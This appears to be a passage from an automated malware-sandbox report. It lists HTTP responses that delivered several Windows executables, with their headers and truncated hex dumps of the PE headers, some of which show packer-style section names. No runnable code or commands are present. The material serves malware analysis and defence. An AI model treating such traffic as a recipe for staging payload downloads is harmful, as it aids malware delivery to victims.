00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 16:58:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 16:58:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 16:58:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 16:59:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 16:59:01 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 27 Nov 2024 16:59:07 GMTContent-Type: application/octet-streamContent-Length: 1915392Last-Modified: Wed, 27 Nov 2024 16:47:33 GMTConnection: keep-aliveETag: "67474d25-1d3a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4c 00 00 04 00 00 d6 13 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 0c 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 0c 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 65 63 76 61 73 66 6f 00 20 1a 00 00 f0 31 00 00 1e 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 63 69 64 70 69 7a 6e 00 10 00 00 00 10 4c 00 00 04 00 00 00 14 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4c 00 00 22 00 00 00 18 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 27 Nov 2024 16:59:45 GMTContent-Type: application/octet-streamContent-Length: 4429312Last-Modified: Wed, 27 Nov 2024 15:47:16 GMTConnection: keep-aliveETag: "67473f04-439600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 25 da 45 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4e 4b 00 00 3a 76 00 00 32 00 00 00 b0 c6 00 00 10 00 00 00 60 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 c6 00 00 04 00 00 2b fe 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f a0 73 00 73 00 00 00 00 90 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 8e c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 8e c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 73 00 00 10 00 00 00 36 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 90 73 00 00 02 00 00 00 46 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 73 00 00 02 00 00 00 48 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 37 00 00 b0 73 00 00 02 00 00 00 4a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 79 77 78 79 68 65 6d 00 30 1b 00 00 70 ab 00 00 22 1b 00 00 4c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 64 63 7a 73 76 77 68 00 10 00 00 00 a0 c6 00 00 06 00 00 00 6e 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 c6 00 00 22 00 00 00 74 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
